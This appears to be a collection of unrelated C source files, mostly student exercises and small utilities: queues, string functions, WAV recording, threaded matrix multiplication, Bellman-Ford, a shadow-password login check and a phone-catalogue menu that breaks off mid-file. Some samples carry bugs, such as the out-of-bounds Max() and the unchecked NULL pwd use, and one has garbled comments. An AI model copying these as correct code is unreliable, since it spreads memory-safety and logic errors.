C | #include <stdio.h>
#include <stdlib.h>
//should make a standard FIFO queue
//using a linkedlist
//nodes used for the queue
typedef struct jobNode{
struct jobNode *next;
int timestamp;
int job_ID;
}job;
//the queue structure: one node for the head, and one for the tail
typedef struct Queue{
job *head;
job *tail;
int size;
}q;
//function prototypes
_Bool QisEmpty(q *queue);
job *new_node();
void enqueue(q *queue, int timestamp, int job_ID);
job *dequeue(q *queue);
q *initialize_queue();
q *initialize_queue(){
q *queue = (q*)malloc(sizeof(q));
queue->head = NULL;
queue->tail = NULL;
queue->size = 0;
return queue;
}
//adds a new node by allocating memory node-by-node
//this is NOT like the priority queue, which adds twice as much memory
job *new_node(int timestamp, int job_ID){
job *temp = (job*)malloc(sizeof(job));
temp->timestamp = timestamp;
temp->job_ID = job_ID;
temp->next = NULL;
return temp;
}
//adds to the end of the linkedlist
void enqueue(q *queue, int timestamp, int job_ID){
job *temp = new_node(timestamp, job_ID);
if (queue->tail == NULL || queue->size == 0){
queue->head = temp;
queue->tail = temp;
}else{
queue->tail->next = temp;
queue->tail = temp;
}
queue->size++;
}
//removes from the front end of the linked list
job *dequeue(q *queue){
if (queue->size == 0){
return NULL;
}else{
job *temp = queue->head;
queue->head = queue->head->next;
queue->size--;
return temp;
}
}
//checks whether the queue has nodes in it
_Bool QisEmpty(q *queue){
if (queue->size == 0){
return 1;
}else{
return 0;
}
}
|
C | /*
3. Accept Character from user and check whether it is digit or not (0-9).
Input : 7
Output : TRUE
Input : d
Output : FALSE
*/
#include<stdio.h>
#include<stdlib.h>
#define TRUE 1
#define FALSE 0
typedef int BOOL;
BOOL ChkDigit(char ch)
{
if( ch >= 48 && ch <=57)
{
return TRUE;
}
else
{
return FALSE;
}
}
int main()
{
char cValue = '\0';
BOOL bRet = FALSE;
printf("Enter the character :");
scanf("%c",&cValue);
bRet = ChkDigit(cValue);
if(bRet == TRUE)
{
printf("The charater is a number");
}
else
{
printf("The charater is not a number");
}
return 0;
}
|
C | //
// maxInWindow.h
// offer
//
// Created by [email protected] on 2019/1/22.
// Copyright © 2019年 [email protected]. All rights reserved.
//
#ifndef maxInWindow_h
#define maxInWindow_h
/*
给定一个数组和滑动窗口的大小,返回每个滑动窗口的最大元素
*/
/*
输入:数组n,滑床大小k
输出:元素的集合,用vector
如果用暴力方法,对每个滑动窗口进行比较,则复杂度为O((n-(k-1))*k) = O(kn-k^2+k) = O(k*n)
设置一个变量存放当前起始位置begin, 一个存放当前最大元素max,一个存放max的位置p,每次比较时向前进一个新元素i时进以下操作:
1.begin-1:
2.如果i小于当前最大值:
若p>=begin:则最大元素不变,begin
若p<begin:则最大元素发生改变,则还是要进行比较
3.如果i大于当前最大值:
更新max和p
该算法复杂度为最坏时为每次p出窗时,i都更小,此时复杂度为O((n/k)*(k)) = O(n)
如果先排序后进行滑窗口则为O(nlogn)
*/
#endif /* maxInWindow_h */
|
C | #include<stdio.h>
#include<string.h>
void fun(char[],char[]);
int main()
{
char arr1[20]="abcdef";
char arr2[10]="ghij";
int i;
fun(arr1,arr2);
printf("after fun call arr1 in main:%s\n ",arr1);
printf("\n after fun call arr2 in main:%s\n ",arr2);
return 0;
}
void fun(char arr1[],char arr2[])
{
int i;
printf("arr1 inside fun is: ");
for(i=0;i<strlen(arr1);i++)
arr1[i]=arr1[i]-32;
printf("%s\n",arr1);
printf("arr2 inside fun is: ");
for(i=0;i<strlen(arr2);i++)
arr2[i]=arr2[i]-32;
printf("%s\n",arr2);
}
|
C | #include <stdio.h>
//6 2 34 1
int Max(int arr[], int n)
{
int i, temp;
for(i=0; i<n; i++)
{
if(arr[i]>arr[i+1]){
temp = arr[i];
}
else{
temp = arr[i+1];
}
}
printf("%d", temp);
return temp;
}
int main()
{
int arr[10];
printf("How many numbers?\n");
int n, i;
scanf("%d", &n);
for(i=0; i<n; i++){
scanf("%d", &arr[i]);
}
int max, min;
max = Max(arr, n);
//min = Min(arr, n);
printf("%d", max);
return 0;
}
|
C | #include<stdio.h>
#include<assert.h>
char* my_strcpy(char* dust, const char* str)
{
char* ret = dust;
assert(dust != NULL);//断言
assert(str != NULL);
//把str指向的字符串拷贝到dust指向的空间,包含'\0'字符
while (*dust++ = *str++)
{
;
}
return ret;
}
int main()
{
char arr1[] = "********";
char arr2[] = "bit";
printf("%s\n", my_strcpy(arr1, arr2));
return 0;
} |
C | /* Authenticating a user against the shadow password file */
// Enter the user name, and then enter the corresponding password.
// If both of them is correct, print out the user ID.
#define _BSD_SOURCE /* Get getpass() declaration from <unistd.h> */
#define _XOPEN_SOURCE /* Get crypt() declaration from <unistd.h> */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <limits.h>
#include <pwd.h> // struct passwd
#include <shadow.h> // struct spwd
// struct passwd {
// char *pw_name; /* username */
// char *pw_passwd; /* user password */
// uid_t pw_uid; /* user ID */
// gid_t pw_gid; /* group ID */
// char *pw_gecos; /* user information */
// char *pw_dir; /* home directory */
// char *pw_shell; /* shell program */
// };
//
// struct spwd {
// char *sp_namp; /* Login name */
// char *sp_pwdp; /* Encrypted password */
// long sp_lstchg; /* Date of last change
// (measured in days since
// 1970-01-01 00:00:00 +0000 (UTC)) */
// long sp_min; /* Min # of days between changes */
// long sp_max; /* Max # of days between changes */
// long sp_warn; /* # of days before password expires
// to warn user to change it */
// long sp_inact; /* # of days after password expires
// until account is disabled */
// long sp_expire; /* Date when account expires
// (measured in days since
// 1970-01-01 00:00:00 +0000 (UTC)) */
// unsigned long sp_flag; /* Reserved */
// };
// crypt, password and data encryption
//
// char *crypt(const char *key, const char *salt);
//
// crypt() is the password encryption function. It is based on the Data Encryption
// Standard algorithm with variations intended to discourage use of hardware
// implementations of a key search.
int main(int argc, char *argv[])
{
char *username, *password, *encrypted, *p;
int is_auth_ok;
size_t len;
int login_name_max;
struct passwd *pwd;
struct spwd *spwd;
// If limit is indeterminate, make a guess.
login_name_max = sysconf(_SC_LOGIN_NAME_MAX);
if (login_name_max == -1){
login_name_max = 256;
}
username = malloc(login_name_max);
if (username == NULL){
perror("malloc");
}
printf("Username: ");
fflush(stdout);
if (fgets(username, login_name_max, stdin) == NULL){
exit(EXIT_FAILURE);
}
len = strlen(username);
if (username[len - 1] == '\n'){
username[len - 1] = '\0'; /* Remove trailing '\n' */
}
pwd = getpwnam(username);
if (pwd == NULL){
perror("couldn't get password record");
}
spwd = getspnam(username);
if (spwd == NULL && errno == EACCES){
perror("no permission to read shadow password file");
}
// If there is a shadow password record, using the shadow password
if (spwd != NULL){
pwd->pw_passwd = spwd->sp_pwdp;
}
// Encrypt password and erase cleartext version immediately
password = getpass("Password: ");
encrypted = crypt(password, pwd->pw_passwd);
for (p = password; *p != '\0'; ){
*p++ = '\0';
}
if (encrypted == NULL){
perror("crypt");
}
// check the password.
is_auth_ok = strcmp(encrypted, pwd->pw_passwd) == 0;
if (!is_auth_ok) {
printf("Incorrect password\n");
exit(EXIT_FAILURE);
}else{
printf("Successfully authenticated: UID=%ld\n", (long) pwd->pw_uid);
}
return 0;
}
|
C | #include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <linux/soundcard.h>
#include <termios.h>
#define LENGTH 10
#define RATE 9600
#define SIZE 8
#define CHANNELS 1
#define RSIZE 8
struct fhead
{
unsigned char a[4];
long int b;
unsigned char c[4];
unsigned char d[4];
long int e;
short int f;
short int g;
long int h;
long int i;
short int j;
short int k;
unsigned char p[4];
long int q;
}wavehead;
int main(void)
{
int fd_r;
int fd_w;
int fd_f;
int i;
int arg;
int status;
unsigned char buf[RSIZE];
wavehead.a[0]='R';
wavehead.a[1]='I';
wavehead.a[2]='F';
wavehead.a[3]='F';
wavehead.b=LENGTH*RATE*CHANNELS*SIZE/8-8;
wavehead.c[0]='W';
wavehead.c[1]='A';
wavehead.c[2]='V';
wavehead.c[3]='E';
wavehead.d[0]='f';
wavehead.d[1]='m';
wavehead.d[2]='t';
wavehead.d[3]=' ';
wavehead.e=16;
wavehead.f=1;
wavehead.g=CHANNELS;
wavehead.h=RATE;
wavehead.i=RATE*CHANNELS*SIZE/8;
wavehead.j=CHANNELS*SIZE/8;
wavehead.k=SIZE;
wavehead.p[0]='d';
wavehead.p[1]='a';
wavehead.p[2]='t';
wavehead.p[3]='a';
wavehead.q=LENGTH*RATE*CHANNELS*SIZE/8;
fd_r= open("/dev/dsp", O_RDONLY,0777);
if (fd_r < 0)
{
printf("cannot open /dev/dsp device");
return 1;
}
arg = SIZE;
status = ioctl(fd_r, SOUND_PCM_WRITE_BITS, &arg);
if (status == -1)
{
printf("cannot set SOUND_PCM_WRITE_BITS ");
return 1;
}
arg = CHANNELS;
status = ioctl(fd_r, SOUND_PCM_WRITE_CHANNELS, &arg);
if (status == -1)
{
printf("cannot set SOUND_PCM_WRITE_CHANNELS");
return 1;
}
arg = RATE;
status = ioctl(fd_r, SOUND_PCM_WRITE_RATE, &arg);
if (status == -1)
{
printf("cannot set SOUND_PCM_WRITE_WRITE");
return 1;
}
fd_w = open("/dev/dsp", O_WRONLY,0777);
if (fd_w < 0)
{
printf("cannot open sound device");
return 1;
}
arg = SIZE;
status = ioctl(fd_w, SOUND_PCM_WRITE_BITS, &arg);
if (status == -1)
{
printf("cannot set size");
return 1;
}
arg = CHANNELS;
status = ioctl(fd_w, SOUND_PCM_WRITE_CHANNELS, &arg);
if (status == -1)
{
printf("cannot set channel");
return 1;
}
arg = RATE;
status = ioctl(fd_w, SOUND_PCM_WRITE_RATE, &arg);
if (status == -1)
{
printf("cannot set rate");
return 1;
}
if(( fd_f = open("./sound.wav", O_CREAT|O_RDWR,0777))==-1)
printf("cannot creat the sound file");
if((status = write(fd_f, &wavehead, sizeof(wavehead)))==-1)
printf("cannot write the sound head");
for(i=0;i<(LENGTH*RATE*SIZE*CHANNELS/8)/RSIZE;i++)
{
status = read(fd_r, buf, sizeof(buf));
if (status != sizeof(buf))
printf("read wrong ");
if(write(fd_f, buf, status)==-1)
printf("write wrong");
}
close(fd_r);
close(fd_f);
printf("Do you want to play ? ( y / n )");
if(getchar()=='y')
{
printf("start:\n");
if(( fd_f = open("./sound.wav", O_RDONLY,0777))==-1)
printf("cannot creat the sound file");
lseek(fd_f,44,SEEK_SET);
for(i=0;i<(LENGTH*RATE*SIZE*CHANNELS/8)/RSIZE;i++)
{
status = read(fd_f, buf, sizeof(buf));
if (status != sizeof(buf))
printf("write wrong");
status = write(fd_w, buf, sizeof(buf));
if (status != sizeof(buf))
printf("write file wrong");
}
close(fd_f);
close(fd_w);
return 0;
}
else
{
printf("exit");
return 0;
}
}
|
C | #include <pthread.h>
#include <stdio.h>
pthread_t id1, id[10];
int num, i, j, k;
int th, b[3][3], a[3][3];
int res[3][3];
void *mul(void *p)
{
int from, to;
num = (int)p;
from = (num * 3) / th;
to = (num + 1) * 3 / th;
for (i = from; i < to; i++)
{
for (j = 0; j < 3; j++)
{
res[i][j] = 0;
for (k = 0; k < 3; k++)
{
res[i][j] += a[i][k] * b[k][j];
}
}
}
// for (i = from; i < to; i++)
// {
// printf("\n");
// for (j = 0; j < 3; j++)
// {
// printf("%d \t", res[i][j]);
// }
// }
// printf("\n………………………….\n");
}
int main()
{
printf("\nEnter the 3 * 3 matrix A\n");
for (i = 0; i < 3; i++)
{
for (j = 0; j < 3; j++)
{
scanf("%d", &a[i][j]);
}
}
printf("\nEnter the 3 * 3 matrix B\n");
for (i = 0; i < 3; i++)
{
for (j = 0; j < 3; j++)
{
scanf("%d", &b[i][j]);
}
}
printf("\nEnter the no of threads");
scanf("%d", &th);
for (i = 0; i < th; i++)
{
pthread_create(&id[i], NULL, mul, (void *)i);
}
for (i = 0; i < th; i++)
{
pthread_join(id[i], NULL);
}
for (i = 0; i < 3; i++)
{
for (j = 0; j < 3; j++)
{
printf("%d ", res[i][j]);
}
printf("\n");
}
} |
C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_4__ TYPE_1__ ;
/* Type definitions */
struct TYPE_4__ {scalar_t__ name; } ;
typedef TYPE_1__ timelib_relunit ;
/* Variables and functions */
int /*<<< orphan*/ memcpy (char*,char*,int) ;
char* timelib_calloc (int,int) ;
int /*<<< orphan*/ timelib_free (char*) ;
TYPE_1__* timelib_relunit_lookup ;
scalar_t__ timelib_strcasecmp (char*,scalar_t__) ;
__attribute__((used)) static const timelib_relunit* timelib_lookup_relunit(char **ptr)
{
char *word;
char *begin = *ptr, *end;
const timelib_relunit *tp, *value = NULL;
while (**ptr != '\0' && **ptr != ' ' && **ptr != ',' && **ptr != '\t' && **ptr != ';' && **ptr != ':' &&
**ptr != '/' && **ptr != '.' && **ptr != '-' && **ptr != '(' && **ptr != ')' ) {
++*ptr;
}
end = *ptr;
word = timelib_calloc(1, end - begin + 1);
memcpy(word, begin, end - begin);
for (tp = timelib_relunit_lookup; tp->name; tp++) {
if (timelib_strcasecmp(word, tp->name) == 0) {
value = tp;
break;
}
}
timelib_free(word);
return value;
} |
C | /***
*mbsnextc.c - Get the next character in an MBCS string.
*
* Copyright (c) 1985-1997, Microsoft Corporation. All rights reserved.
*
*Purpose:
* To return the value of the next character in an MBCS string.
*
*******************************************************************************/
#ifdef _MBCS
#include <cruntime.h>
#include <mbdata.h>
#include <mbctype.h>
#include <mbstring.h>
/***
*_mbsnextc: Returns the next character in a string.
*
*Purpose:
* To return the value of the next character in an MBCS string.
* Does not advance pointer to the next character.
*
*Entry:
* unsigned char *s = string
*
*Exit:
* unsigned int next = next character.
*
*Exceptions:
*
*******************************************************************************/
unsigned int __cdecl _mbsnextc(
const unsigned char *s
)
{
unsigned int next = 0;
if (_ISLEADBYTE(*s))
next = ((unsigned int) *s++) << 8;
next += (unsigned int) *s;
return(next);
}
#endif /* _MBCS */
|
C | //
// main.c
// BellhamFord
//
// Created by ZhuZiyi on 3/31/16.
// Copyright © 2016 ZhuZiyi. All rights reserved.
//
//
// main.c
// HFT
//
// Created by Shang Liu on 3/30/16.
// Copyright © 2016 Shang Liu. All rights reserved.
//
#include <stdio.h>
#define inf 1000
#define currencyNumber 5
int main(int argc, const char * argv[]) {
// insert code here...
double rate[currencyNumber][currencyNumber]={
0, 1, -2, 3, -5,
-1, 0, -1, 2, -3,
2, 1, 0, 1, 4,
-3, -2, -1, 0, 2,
5, 3, -4, -2, 0};
/*
double rate[currencyNumber][currencyNumber]={
0, 10, 24, 23, 15,
1, 0, 18, 2, 10,
2, 1, 0, 1, 4,
3, 8, 1, 0, 2,
5, 3, 6, 2, 0};
*/
double weight[currencyNumber]={0,inf,inf,inf,inf};
double record[currencyNumber]={0};
int PNrecord[currencyNumber]={0};
int previousNode[currencyNumber]={-1};
int i = 0,j,k,m,a, flag = 0;
for(k=0;k<currencyNumber+1;k++){
for(i=0; i<currencyNumber; i++){
for(j=1; j<currencyNumber;j++){
if((j!=i)&&(weight[j]>weight[i]+rate[i][j])){
weight[j]=weight[i]+rate[i][j];
previousNode[j]=i;
}
}
}
for(i=1;i<currencyNumber;i++){
printf("Node: %d, mininal weight: %f,previous node:%d\n", i, weight[i],previousNode[i]);
}
printf("\n");
if (k == currencyNumber-1){
for(m=0;m<currencyNumber;m++){
record[m] = weight[m];
}
}
}
// Find one negative cycle
for(m=0;m<currencyNumber;m++){
if (record[m] != weight[m]){
PNrecord[0] = m;
a = m;
for(i = 1;i<currencyNumber;i++){
PNrecord[i] = previousNode[a];
a = PNrecord[i];
for(j=0; j < i; j++){
if(a == PNrecord[j]){
flag = 1;
break;
}
}
if (flag == 1) break;
}
}
if (flag == 1) break;
}
for (k=0;k <= i;k++){
printf("%d ",PNrecord[k]);
}
return 0;
}
|
C | /*++
Module Name:
XStrSafe.h
Abstract:
A set of safe string functions.
History:
10/10/2012 ChiChen Re-purposed.
Internal:
--*/
#ifndef __XSTRSAFE_H_INCLUDED__
#define __XSTRSAFE_H_INCLUDED__
#pragma once
#include <XType.h>
#ifndef RESULT_SUCCESS
#define RESULT_SUCCESS ((XRESULT)0x00000000L)
#endif
#ifndef X_SUCCESS
#define X_SUCCESS(__result) ((XRESULT)(__result) >= 0)
#endif
#ifndef X_FAILURE
#define X_FAILURE(__result) ((XRESULT)(__result) < 0)
#endif
//
// XSTRSAFE error return codes
//
#define XSTR_RESULT_BUFFER_INSUFFICIENT ((XRESULT)0x80070001L) // 0x1L - same as RESULT_BUFFER_INSUFFICIENT
#define XSTR_RESULT_INVALID_PARAMETER ((XRESULT)0xC0070005L) // 0x5L - same as RESULT_INVALID_PARAMETER
#define XSTRSAFEAPI __inline
#define XSTRSAFE_INLINE
#define XSTR_MAX_CCH 2147483647 // max # of characters supported
#define XSTR_INVALID_IDX ((UINT32)(-1))
/*++
XStrCopyA
Routine Description:
This routine is a safer version of the C built-in function 'strcpy'.
The size of the destination buffer (in characters) is a parameter and
this function will not write past the end of this buffer and it will
ALWAYS null terminate the destination buffer, unless it is zero
length.
Parameters:
pszDest - Destination string.
uCch - Size of destination buffer in characters.
Length must be = (strlen(src) + 1) to hold all of the
source including the null terminator.
pszSrc - Source string that must be null terminated.
Return:
RESULT_SUCCESS - If there was source data and it was all copied
and the resultant dest string was null terminated.
XSTR_RESULT_BUFFER_INSUFFICIENT -
This return value is an indication that the copy
operation failed due to insufficient space. When
this error occurs, the destination buffer is
modified to contain a truncated version of the
ideal result and is null terminated. This is useful
for situations where truncation is OK.
XSTR_RESULT_INVALID_PARAMETER -
The buffer size is greater than XSTR_MAX_CCH or is
zero, in which the buffer cannot be null terminated.
--*/
XSTRSAFEAPI
XRESULT
XStrCopyA(
char* pszDest, // OUT
UINT32 uCch, // IN
const char* pszSrc // IN
);
XSTRSAFEAPI
XRESULT
XStrCopyA(
char* pszDest, // OUT
UINT32 uCch, // IN
const char* pszSrc // IN
)
{
if ((XSTR_MAX_CCH >= uCch) && (0 < uCch))
{
XRESULT xr = RESULT_SUCCESS;
while (uCch && (*pszSrc != '\0'))
{
*pszDest++ = *pszSrc++;
uCch--;
}
if (uCch == 0)
{
//
// Need to truncate pszDest.
//
pszDest--;
xr = XSTR_RESULT_BUFFER_INSUFFICIENT;
}
*pszDest = '\0';
return xr;
}
return XSTR_RESULT_INVALID_PARAMETER;
}
/*++
XStrCchLenA
Routine Description:
Ensures that a string is not larger than XSTR_MAX_CCH, in
characters. If that condition is met, XStrCchLenA returns the
length of the string in characters, not including the terminating
null character.
Parameters:
psz - String to check the length of.
ulCchMax - Maximum number of characters including the null terminator
that psz is allowed to contain.
pulCch - if the function succeeds and pcch is non-null, the current
length in characters of psz excluding the null terminator
will be returned. This out parameter is equivalent to the
return value of strlen(psz).
Return:
true If successful
false If psz is NULL or is longer than ulCchMax or
XSTR_MAX_CCH.
--*/
XSTRSAFEAPI
bool
XStrCchLenA(
const char* psz, // IN
UINT32 ulCchMax, // IN
UINT32* pulCch // OUT_OPT
);
XSTRSAFEAPI
bool
XStrCchLenA(
const char* psz, // IN
UINT32 ulCchMax, // IN
UINT32* pulCch // OUT_OPT
)
{
if (NULL != psz && (XSTR_MAX_CCH >= ulCchMax))
{
UINT32 ulRemaining = ulCchMax;
bool bValid = true;
while (ulRemaining && '\0' != (*psz))
{
++psz;
--ulRemaining;
}
if (0 == ulRemaining) // longer than ulCchMax
{
bValid = false;
}
if (NULL != pulCch)
{
(*pulCch) = (bValid) ? (ulCchMax - ulRemaining) : 0;
}
return bValid;
}
return false;
}
XSTRSAFEAPI
bool
XTrimStartA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
);
XSTRSAFEAPI
bool
XTrimStartA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
)
{
if (NULL != psz && (XSTR_MAX_CCH >= uCch))
{
UINT32 ulIdxBeg = 0L;
while (ulIdxBeg < uCch && ch == psz[ulIdxBeg])
{
++ulIdxBeg;
}
if (0 < ulIdxBeg)
{
if (ulIdxBeg == uCch)
{
psz[0] = '\0';
}
else
{
UINT32 ulOffset = ulIdxBeg;
for (UINT32 uIdx = ulIdxBeg; uIdx < uCch; ++uIdx)
{
psz[uIdx - ulOffset] = psz[uIdx];
}
psz[uCch - ulIdxBeg] = '\0';
}
}
if (NULL != pulCchRemaining)
{
(*pulCchRemaining) = (uCch - ulIdxBeg);
}
return true;
}
return false;
}
XSTRSAFEAPI
bool
XTrimEndA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
);
XSTRSAFEAPI
bool
XTrimEndA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
)
{
if (NULL != psz && (XSTR_MAX_CCH >= uCch))
{
while (0 < uCch && ch == psz[uCch - 1])
{
psz[uCch - 1] = '\0';
--uCch;
}
if (NULL != pulCchRemaining) { (*pulCchRemaining) = uCch; }
return true;
}
return false;
}
XSTRSAFEAPI
bool
XTrimA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
);
XSTRSAFEAPI
bool
XTrimA(
char* psz, // INOUT
UINT32 uCch, // IN
char ch, // IN
UINT32* pulCchRemaining // OUT_OPT
)
{
UINT32 ulCchRemaining = 0L;
if (XTrimEndA(psz, uCch, ch, &ulCchRemaining))
{
return XTrimStartA(psz, ulCchRemaining, ch, pulCchRemaining);
}
return false;
}
XSTRSAFEAPI
UINT32
XSplitA(
const char* psz, // IN
UINT32 ulCchMax, // IN
char chSpliter, // IN
char* pszBuf1, // OUT
UINT32 ulCchBuf1, // IN
char* pszBuf2, // OUT
UINT32 ulCchBuf2 // IN
);
XSTRSAFEAPI
UINT32
XSplitA(
const char* psz, // IN
UINT32 ulCchMax, // IN
char chSpliter, // IN
char* pszBuf1, // OUT
UINT32 ulCchBuf1, // IN
char* pszBuf2, // OUT
UINT32 ulCchBuf2 // IN
)
{
UINT32 uIdxSpliter = XSTR_INVALID_IDX;
UINT32 uIdx = 0;
for (uIdx = 0; uIdx < ulCchMax; ++uIdx)
{
if (chSpliter == psz[uIdx])
{
uIdxSpliter = uIdx;
break;
}
}
if (uIdxSpliter == XSTR_INVALID_IDX)
{
if (0 < ulCchBuf1) { pszBuf1[0] = '\0'; }
if (0 < ulCchBuf2) { pszBuf2[0] = '\0'; }
}
else
{
for (uIdx = 0;
uIdx < ulCchBuf1 && uIdx < uIdxSpliter;
++uIdx)
{
pszBuf1[uIdx] = psz[uIdx];
}
pszBuf1[uIdx] = '\0';
++uIdxSpliter;
for (uIdx = 0;
uIdx < ulCchBuf2 && uIdxSpliter < ulCchMax;
++uIdx)
{
pszBuf2[uIdx] = psz[uIdxSpliter++];
}
pszBuf2[uIdx] = '\0';
}
return uIdxSpliter;
}
/*++
XStrFindA
Routine Description:
Searches for a character in a given string, beginning at a specified
character index. If not found, (*puIdx) will be assigned to
XSTR_INVALID_IDX.
Parameters:
psz - String to search.
uCch - Length of the string in characters.
chTarget - Character to search for.
uIdxBegSrch - Index of character to begin search.
puIdx - Pointer to a variable of type DWORD containing
the index.
Return:
true If successful.
false If one or more input arguments is invalid.
--*/
XSTRSAFEAPI
bool
XStrFindA(
char* psz, // IN
UINT32 uCch, // IN
char chTarget, // IN
UINT32 uIdxBegSrch, // IN
PUINT32 puIdx // OUT
);
XSTRSAFEAPI
bool
XStrFindA(
char* psz, // IN
UINT32 uCch, // IN
char chTarget, // IN
UINT32 uIdxBegSrch, // IN
PUINT32 puIdx // OUT
)
{
if (
NULL != psz &&
NULL != puIdx &&
(XSTR_MAX_CCH >= uCch) &&
(XSTR_MAX_CCH >= uIdxBegSrch)
)
{
(*puIdx) = XSTR_INVALID_IDX;
for (UINT32 uIdx = uIdxBegSrch; uIdx < uCch; ++uIdx)
{
if (chTarget == psz[uIdx])
{
(*puIdx) = uIdx;
break;
}
}
return true;
}
return false;
}
#endif // __XSTRSAFE_H_INCLUDED__
|
C | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define N_THREADS (8)
/**
* @param input, input gray-scale image, 0x00 to 0xFF
* @param width, width of the image
* @param height, height of the image
* @param threshold, pixel value to generate a 1bit image
* @return uint8_t*, 1bit image of 0x00 or 0xFF with width*height pixels
*/
void msquare_1bit(uint8_t* input, size_t in_width, size_t in_height,
uint8_t threshold, uint8_t* new_image, size_t start_index, size_t end_index);
/**
* @param data, pixels of the image
* @param width, width of the image
* @param height, height of the image
* @param segments, different segments from 0x00 to 0xFF
* @param segments_length, number of segments inputted
*/
void msquare_detect(uint8_t* data, size_t width, size_t height, uint8_t* segments, size_t segments_length, size_t start_index, size_t end_index);
/**
* @param original,
* @param width, width of the image
* @param height, height of the image
* @param segments, the encoded segments 0000 -> 1111
* @param seg_length, number of segments
* @param pos_colour, replace 0xff with positive colour
* @param neg_colour, replace 0x00 with negative colour
*/
void msquare_fill(uint8_t* new_image, size_t width, size_t height,
uint8_t* segments, size_t seg_length, uint8_t pos_colour, uint8_t neg_colour, size_t start_index, size_t end_index, uint8_t** matrix_map);
/**
* @param input_image, the input image
* @param width, width of the image
* @param height, height of the image
* @param threshold, the threshold value to convert to positive or negative
* @param pos_colour, replace 0xff with positive colour
* @param neg_colour, replace 0x00 with negative colour
*/
void multithreaded_marching_squares(uint8_t* input_image, size_t width, size_t height, uint8_t threshold, uint8_t pos_colour, uint8_t neg_colour);
/**
* The worker thread method that will call all the msquare methods
* @param data, the thread_data struct for that thread
*
*/
void* worker(void* data);
struct thread_data {
uint8_t* input_image;
size_t in_width;
size_t in_height;
uint8_t threshold;
uint8_t* new_image;
size_t start_index;
size_t end_index;
uint8_t pos_colour;
uint8_t neg_colour;
uint8_t* segments;
size_t segment_length;
uint8_t** matrix_map;
};
|
C | #include <stddef.h>
typedef struct {
char* name;
double value;
} identifier;
typedef struct {
identifier* identifiers;
size_t size;
size_t capacity;
} identifiers_table;
identifiers_table* create_table();
void destroy_table(identifiers_table*);
char* lookup(identifiers_table*, double);
void add_identifier(identifiers_table*, double);
void add_named_identifier(identifiers_table*, char*, double);
|
C | //ʾdp33
//ѡ:ʹٶ,չ
//ѡ֮ǰ
#include <stdio.h>
//ʾcf34
int cf34(int x, int y)
{
return (2 * x + 5 * y + 100);
}
/////////////////////////
int main( )
{
int val;
val = cf34(23, 456);
printf("val=%d\n", val);
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Structure.h"
void main() {
LIRE_DATA();
//init();
system("color a");
/////////////////////////////////////////////
int choix=0;
printf("********************************************************\n");
printf("* Structure: Caracteristiques de natel *\n");
do {
//***** PROGRAMME PRINCIPAL *****//
printf("********************************************************\n");
printf("* Veuillez saisir un mode: *\n");
printf("* *\n");
printf("* Afficher les telephones: 1 *\n");
printf("* Ajouter un nouveau telephone: 2 *\n");
printf("* Modifier un telephone 3 *\n");
printf("* Supprimer un telephone 4 *\n");
printf("* Comparer les telephones 5 *\n");
printf("* Quitter: 0 *\n");
printf("********************************************************\n");
printf("* Choix :");
scanf("%d",&choix);
system("cls");
fflush(stdin);
/////////////////////////////////////////////////////////
// affichage des la structures
/////////////////////////////////////////////////////////
if(choix == 1) {
int aff_case,aff_struct;
system("cls");
// Rcuprer toute la liste de telephone
printf("Quel telephone voulez-vous afficher :\n");
int j=0,h=0;
for (j=0;j<=SIZE_TAB;j++) {
if(strlen(t[j].marque) != 0) {
h++;
printf(" %3d: %s %s\n", j, t[j].marque, t[j].modele);
}
}
scanf("%d",&aff_struct);
printf("\nVoulez vous afficher:\nla marque 1\nle modele 2\nla carte_SD 3\nla memoire_rom 4\nla memoire_ram 5\nla dimention 6\nle prix 7\nTout 0\n");
scanf("%d",&aff_case);
system("cls");
aff(aff_struct,aff_case);
}
/////////////////////////////////////////////////////////
// Cration de la structure
/////////////////////////////////////////////////////////
if(choix == 2) {
int i=0,j=0,h=0;
printf("********************************************************\n");
printf("* Telephone(s) deja enregistres: *\n");
printf("********************************************************\n");
while (i<SIZE_TAB && strlen(t[i].marque) != 0) {
i++;
}
for (j=0;j<SIZE_TAB;j++) {
if(strlen(t[j].marque) != 0) {
h++;
printf(" %3d: %s %s\n", j, t[j].marque, t[j].modele);
}
}
printf("********************************************************\n");
new_tel(i);
}
/////////////////////////////////////////////////////////
// Modification un telephone
/////////////////////////////////////////////////////////
if(choix == 3) {
printf("********************************************************\n");
printf("* Telephone(s) enregistres: *\n");
printf("********************************************************\n");
printf("* Quelle telephone voulez-vous modifier : *\n");
int i=0,modif_tel=0;
while (i<SIZE_TAB && strlen(t[i].marque) != 0) {
printf("* %3d: %s %s\n", i, t[i].marque, t[i].modele);
i++;
}
scanf("%d",&modif_tel);
// verif modif_struct
modif(modif_tel);
}
/////////////////////////////////////////////////////////
// Suppression du telephone
/////////////////////////////////////////////////////////
if(choix == 4) {
printf("********************************************************\n");
printf("* Telephone(s) enregistres: *\n");
printf("********************************************************\n");
printf("* Quelle telephone voulez-vous supprimer : *\n");
int i=0,del=0;
while (i<SIZE_TAB && strlen(t[i].marque) != 0) {
printf("* %3d: %s %s\n", i, t[i].marque, t[i].modele);
i++;
}
scanf("%d",&del);
del_tel(del);
}
/////////////////////////////////////////////////////////
// Comparaison des telephones
/////////////////////////////////////////////////////////
if(choix == 5) {
printf("********************************************************\n");
printf("* Telephone(s) enregistres: *\n");
printf("********************************************************\n");
int i=0;
while (i<SIZE_TAB && strlen(t[i].marque) != 0) {
